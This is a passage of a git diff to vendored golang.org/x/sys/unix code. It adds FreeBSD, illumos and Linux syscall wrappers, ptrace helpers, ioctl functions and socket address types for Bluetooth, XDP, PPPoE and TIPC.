--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func PtraceSingleStep(pid int) (err error) {
-+ return ptrace(PTRACE_SINGLESTEP, pid, 1, 0)
- }
-
- /*
-@@ -430,11 +596,16 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
--//sys Fstat(fd int, stat *Stat_t) (err error)
--//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys fstat(fd int, stat *stat_freebsd11_t) (err error)
-+//sys fstat_freebsd12(fd int, stat *Stat_t) (err error)
-+//sys fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error)
-+//sys fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys fstatfs(fd int, stat *statfs_freebsd11_t) (err error)
-+//sys fstatfs_freebsd12(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
--//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
-+//sys getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
-+//sys getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error)
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
- //sysnb Geteuid() (uid int)
-@@ -456,11 +627,13 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Link(path string, link string) (err error)
- //sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys lstat(path string, stat *stat_freebsd11_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
--//sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys mknod(path string, mode uint32, dev int) (err error)
-+//sys mknodat(fd int, path string, mode uint32, dev int) (err error)
-+//sys mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
- //sys Openat(fdat int, path string, mode int, perm uint32) (fd int, err error)
-@@ -475,7 +648,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -490,8 +663,9 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
--//sys Stat(path string, stat *Stat_t) (err error)
--//sys Statfs(path string, stat *Statfs_t) (err error)
-+//sys stat(path string, stat *stat_freebsd11_t) (err error)
-+//sys statfs(path string, stat *statfs_freebsd11_t) (err error)
-+//sys statfs_freebsd12(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
- //sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
-@@ -546,22 +720,14 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- // Kqueue_portset
- // Getattrlist
- // Setattrlist
-+// Getdents
- // Getdirentriesattr
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
--// Getxattr
--// Fgetxattr
--// Setxattr
--// Fsetxattr
--// Removexattr
--// Fremovexattr
--// Listxattr
--// Flistxattr
- // Fsctl
- // Initgroups
- // Posix_spawn
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-index 6a0cd804..72a506dd 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,13 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceGetFsBase(pid int, fsbase *int64) (err error) {
-+ return ptrace(PTRACE_GETFSBASE, pid, uintptr(unsafe.Pointer(fsbase)), 0)
-+}
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint32(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-index e142540e..d5e376ac 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,13 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceGetFsBase(pid int, fsbase *int64) (err error) {
-+ return ptrace(PTRACE_GETFSBASE, pid, uintptr(unsafe.Pointer(fsbase)), 0)
-+}
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint64(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-index 5504cb12..4ea45bce 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return ts.Sec*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = nsec / 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint32(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-similarity index 59%
-copy from vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-copy to vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-index da7cb798..aa5326db 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-@@ -1,8 +1,8 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build amd64,dragonfly
-+// +build arm64,freebsd
-
- package unix
-
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint64(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_illumos.go b/vendor/golang.org/x/sys/unix/syscall_illumos.go
-new file mode 100644
-index 00000000..99e62dcd
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_illumos.go
-@@ -0,0 +1,57 @@
-+// Copyright 2009 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// illumos system calls not present on Solaris.
-+
-+// +build amd64,illumos
-+
-+package unix
-+
-+import "unsafe"
-+
-+func bytes2iovec(bs [][]byte) []Iovec {
-+ iovecs := make([]Iovec, len(bs))
-+ for i, b := range bs {
-+ iovecs[i].SetLen(len(b))
-+ if len(b) > 0 {
-+ // somehow Iovec.Base on illumos is (*int8), not (*byte)
-+ iovecs[i].Base = (*int8)(unsafe.Pointer(&b[0]))
-+ } else {
-+ iovecs[i].Base = (*int8)(unsafe.Pointer(&_zero))
-+ }
-+ }
-+ return iovecs
-+}
-+
-+//sys readv(fd int, iovs []Iovec) (n int, err error)
-+
-+func Readv(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = readv(fd, iovecs)
-+ return n, err
-+}
-+
-+//sys preadv(fd int, iovs []Iovec, off int64) (n int, err error)
-+
-+func Preadv(fd int, iovs [][]byte, off int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = preadv(fd, iovecs, off)
-+ return n, err
-+}
-+
-+//sys writev(fd int, iovs []Iovec) (n int, err error)
-+
-+func Writev(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = writev(fd, iovecs)
-+ return n, err
-+}
-+
-+//sys pwritev(fd int, iovs []Iovec, off int64) (n int, err error)
-+
-+func Pwritev(fd int, iovs [][]byte, off int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = pwritev(fd, iovecs, off)
-+ return n, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go
-index 1b7d59d8..bbe1abbc 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux.go
-@@ -12,6 +12,8 @@
- package unix
-
- import (
-+ "encoding/binary"
-+ "runtime"
- "syscall"
- "unsafe"
- )
-@@ -36,6 +38,20 @@ func Creat(path string, mode uint32) (fd int, err error) {
- return Open(path, O_CREAT|O_WRONLY|O_TRUNC, mode)
- }
-
-+//sys FanotifyInit(flags uint, event_f_flags uint) (fd int, err error)
-+//sys fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error)
-+
-+func FanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname string) (err error) {
-+ if pathname == "" {
-+ return fanotifyMark(fd, flags, mask, dirFd, nil)
-+ }
-+ p, err := BytePtrFromString(pathname)
-+ if err != nil {
-+ return err
-+ }
-+ return fanotifyMark(fd, flags, mask, dirFd, p)
-+}
-+
- //sys fchmodat(dirfd int, path string, mode uint32) (err error)
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -55,37 +71,41 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- // ioctl itself should not be exposed directly, but additional get/set
- // functions for specific types are permissible.
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
-+// IoctlRetInt performs an ioctl operation specified by req on a device
-+// associated with opened file descriptor fd, and returns a non-negative
-+// integer that is returned by the ioctl syscall.
-+func IoctlRetInt(fd int, req uint) (int, error) {
-+ ret, _, err := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), 0)
-+ if err != 0 {
-+ return 0, err
-+ }
-+ return int(ret), nil
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+// IoctlSetPointerInt performs an ioctl operation which sets an
-+// integer value on fd, using the specified request number. The ioctl
-+// argument is called with a pointer to the integer value, rather than
-+// passing the integer value directly.
-+func IoctlSetPointerInt(fd int, req uint, value int) error {
-+ v := int32(value)
-+ return ioctl(fd, req, uintptr(unsafe.Pointer(&v)))
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+func IoctlSetRTCTime(fd int, value *RTCTime) error {
-+ err := ioctl(fd, RTC_SET_TIME, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
- }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-+func IoctlGetUint32(fd int, req uint) (uint32, error) {
-+ var value uint32
- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
- return value, err
- }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
--}
--
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+func IoctlGetRTCTime(fd int) (*RTCTime, error) {
-+ var value RTCTime
-+ err := ioctl(fd, RTC_RD_TIME, uintptr(unsafe.Pointer(&value)))
- return &value, err
- }
-
-@@ -148,8 +168,6 @@ func Unlink(path string) error {
-
- //sys Unlinkat(dirfd int, path string, flags int) (err error)
-
--//sys utimes(path string, times *[2]Timeval) (err error)
--
- func Utimes(path string, tv []Timeval) error {
- if tv == nil {
- err := utimensat(AT_FDCWD, path, nil, 0)
-@@ -207,20 +225,14 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
- return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
- }
-
--//sys futimesat(dirfd int, path *byte, times *[2]Timeval) (err error)
--
- func Futimesat(dirfd int, path string, tv []Timeval) error {
-- pathp, err := BytePtrFromString(path)
-- if err != nil {
-- return err
-- }
- if tv == nil {
-- return futimesat(dirfd, pathp, nil)
-+ return futimesat(dirfd, path, nil)
- }
- if len(tv) != 2 {
- return EINVAL
- }
-- return futimesat(dirfd, pathp, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
-+ return futimesat(dirfd, path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
- func Futimes(fd int, tv []Timeval) (err error) {
-@@ -255,7 +267,7 @@ func Getgroups() (gids []int, err error) {
- return nil, nil
- }
-
-- // Sanity check group count. Max is 1<<16 on Linux.
-+ // Sanity check group count. Max is 1<<16 on Linux.
- if n < 0 || n > 1<<20 {
- return nil, EINVAL
- }
-@@ -290,8 +302,8 @@ type WaitStatus uint32
- // 0x7F (stopped), or a signal number that caused an exit.
- // The 0x80 bit is whether there was a core dump.
- // An extra number (exit code, signal causing a stop)
--// is in the high bits. At least that's the idea.
--// There are various irregularities. For example, the
-+// is in the high bits. At least that's the idea.
-+// There are various irregularities. For example, the
- // "continued" status is 0xFFFF, distinguishing itself
- // from stopped via the core dump bit.
-
-@@ -413,6 +425,7 @@ func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), sl, nil
- }
-
-+// SockaddrLinklayer implements the Sockaddr interface for AF_PACKET type sockets.
- type SockaddrLinklayer struct {
- Protocol uint16
- Ifindex int
-@@ -439,6 +452,7 @@ func (sa *SockaddrLinklayer) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrLinklayer, nil
- }
-
-+// SockaddrNetlink implements the Sockaddr interface for AF_NETLINK type sockets.
- type SockaddrNetlink struct {
- Family uint16
- Pad uint16
-@@ -455,6 +469,8 @@ func (sa *SockaddrNetlink) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrNetlink, nil
- }
-
-+// SockaddrHCI implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the HCI protocol.
- type SockaddrHCI struct {
- Dev uint16
- Channel uint16
-@@ -468,6 +484,72 @@ func (sa *SockaddrHCI) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrHCI, nil
- }
-
-+// SockaddrL2 implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the L2CAP protocol.
-+type SockaddrL2 struct {
-+ PSM uint16
-+ CID uint16
-+ Addr [6]uint8
-+ AddrType uint8
-+ raw RawSockaddrL2
-+}
-+
-+func (sa *SockaddrL2) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_BLUETOOTH
-+ psm := (*[2]byte)(unsafe.Pointer(&sa.raw.Psm))
-+ psm[0] = byte(sa.PSM)
-+ psm[1] = byte(sa.PSM >> 8)
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Bdaddr[i] = sa.Addr[len(sa.Addr)-1-i]
-+ }
-+ cid := (*[2]byte)(unsafe.Pointer(&sa.raw.Cid))
-+ cid[0] = byte(sa.CID)
-+ cid[1] = byte(sa.CID >> 8)
-+ sa.raw.Bdaddr_type = sa.AddrType
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2, nil
-+}
-+
-+// SockaddrRFCOMM implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the RFCOMM protocol.
-+//
-+// Server example:
-+//
-+// fd, _ := Socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)
-+// _ = unix.Bind(fd, &unix.SockaddrRFCOMM{
-+// Channel: 1,
-+// Addr: [6]uint8{0, 0, 0, 0, 0, 0}, // BDADDR_ANY or 00:00:00:00:00:00
-+// })
-+// _ = Listen(fd, 1)
-+// nfd, sa, _ := Accept(fd)
-+// fmt.Printf("conn addr=%v fd=%d", sa.(*unix.SockaddrRFCOMM).Addr, nfd)
-+// Read(nfd, buf)
-+//
-+// Client example:
-+//
-+// fd, _ := Socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)
-+// _ = Connect(fd, &SockaddrRFCOMM{
-+// Channel: 1,
-+// Addr: [6]byte{0x11, 0x22, 0x33, 0xaa, 0xbb, 0xcc}, // CC:BB:AA:33:22:11
-+// })
-+// Write(fd, []byte(`hello`))
-+type SockaddrRFCOMM struct {
-+ // Addr represents a bluetooth address, byte ordering is little-endian.
-+ Addr [6]uint8
-+
-+ // Channel is a designated bluetooth channel, only 1-30 are available for use.
-+ // Since Linux 2.6.7 and further zero value is the first available channel.
-+ Channel uint8
-+
-+ raw RawSockaddrRFCOMM
-+}
-+
-+func (sa *SockaddrRFCOMM) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_BLUETOOTH
-+ sa.raw.Channel = sa.Channel
-+ sa.raw.Bdaddr = sa.Addr
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrRFCOMM, nil
-+}
-+
- // SockaddrCAN implements the Sockaddr interface for AF_CAN type sockets.
- // The RxID and TxID fields are used for transport protocol addressing in
- // (CAN_TP16, CAN_TP20, CAN_MCNET, and CAN_ISOTP), they can be left with
-@@ -630,7 +712,168 @@ func (sa *SockaddrVM) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrVM, nil
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+type SockaddrXDP struct {
-+ Flags uint16
-+ Ifindex uint32
-+ QueueID uint32
-+ SharedUmemFD uint32
-+ raw RawSockaddrXDP
-+}
-+
-+func (sa *SockaddrXDP) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_XDP
-+ sa.raw.Flags = sa.Flags
-+ sa.raw.Ifindex = sa.Ifindex
-+ sa.raw.Queue_id = sa.QueueID
-+ sa.raw.Shared_umem_fd = sa.SharedUmemFD
-+
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrXDP, nil
-+}
-+
-+// This constant mirrors the #define of PX_PROTO_OE in
-+// linux/if_pppox.h. We're defining this by hand here instead of
-+// autogenerating through mkerrors.sh because including
-+// linux/if_pppox.h causes some declaration conflicts with other
-+// includes (linux/if_pppox.h includes linux/in.h, which conflicts
-+// with netinet/in.h). Given that we only need a single zero constant
-+// out of that file, it's cleaner to just define it by hand here.
-+const px_proto_oe = 0
-+
-+type SockaddrPPPoE struct {
-+ SID uint16
-+ Remote []byte
-+ Dev string
-+ raw RawSockaddrPPPoX
-+}
-+
-+func (sa *SockaddrPPPoE) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if len(sa.Remote) != 6 {
-+ return nil, 0, EINVAL
-+ }
-+ if len(sa.Dev) > IFNAMSIZ-1 {
-+ return nil, 0, EINVAL
-+ }
-+
-+ *(*uint16)(unsafe.Pointer(&sa.raw[0])) = AF_PPPOX
-+ // This next field is in host-endian byte order. We can't use the
-+ // same unsafe pointer cast as above, because this value is not
-+ // 32-bit aligned and some architectures don't allow unaligned
-+ // access.
-+ //
-+ // However, the value of px_proto_oe is 0, so we can use
-+ // encoding/binary helpers to write the bytes without worrying
-+ // about the ordering.
-+ binary.BigEndian.PutUint32(sa.raw[2:6], px_proto_oe)
-+ // This field is deliberately big-endian, unlike the previous
-+ // one. The kernel expects SID to be in network byte order.
-+ binary.BigEndian.PutUint16(sa.raw[6:8], sa.SID)
-+ copy(sa.raw[8:14], sa.Remote)
-+ for i := 14; i < 14+IFNAMSIZ; i++ {
-+ sa.raw[i] = 0
-+ }
-+ copy(sa.raw[14:], sa.Dev)
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrPPPoX, nil
-+}
-+
-+// SockaddrTIPC implements the Sockaddr interface for AF_TIPC type sockets.
-+// For more information on TIPC, see: http://tipc.sourceforge.net/.
-+type SockaddrTIPC struct {
-+ // Scope is the publication scopes when binding service/service range.
-+ // Should be set to TIPC_CLUSTER_SCOPE or TIPC_NODE_SCOPE.
-+ Scope int
-+
-+ // Addr is the type of address used to manipulate a socket. Addr must be
-+ // one of:
-+ // - *TIPCSocketAddr: "id" variant in the C addr union
-+ // - *TIPCServiceRange: "nameseq" variant in the C addr union
-+ // - *TIPCServiceName: "name" variant in the C addr union
-+ //
-+ // If nil, EINVAL will be returned when the structure is used.
-+ Addr TIPCAddr
-+
-+ raw RawSockaddrTIPC
-+}
-+
-+// TIPCAddr is implemented by types that can be used as an address for
-+// SockaddrTIPC. It is only implemented by *TIPCSocketAddr, *TIPCServiceRange,
-+// and *TIPCServiceName.
-+type TIPCAddr interface {
-+ tipcAddrtype() uint8
-+ tipcAddr() [12]byte
-+}
-+
-+func (sa *TIPCSocketAddr) tipcAddr() [12]byte {
-+ var out [12]byte
-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCSocketAddr{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCSocketAddr) tipcAddrtype() uint8 { return TIPC_SOCKET_ADDR }
-+
-+func (sa *TIPCServiceRange) tipcAddr() [12]byte {
-+ var out [12]byte
-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCServiceRange{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCServiceRange) tipcAddrtype() uint8 { return TIPC_SERVICE_RANGE }
-+
-+func (sa *TIPCServiceName) tipcAddr() [12]byte {
-+ var out [12]byte
-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCServiceName{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCServiceName) tipcAddrtype() uint8 { return TIPC_SERVICE_ADDR }
-+
-+func (sa *SockaddrTIPC) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Addr == nil {
-+ return nil, 0, EINVAL
-+ }
-+
-+ sa.raw.Family = AF_TIPC
-+ sa.raw.Scope = int8(sa.Scope)
-+ sa.raw.Addrtype = sa.Addr.tipcAddrtype()
-+ sa.raw.Addr = sa.Addr.tipcAddr()
-+
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrTIPC, nil
-+}
-+
-+// SockaddrL2TPIP implements the Sockaddr interface for IPPROTO_L2TP/AF_INET sockets.
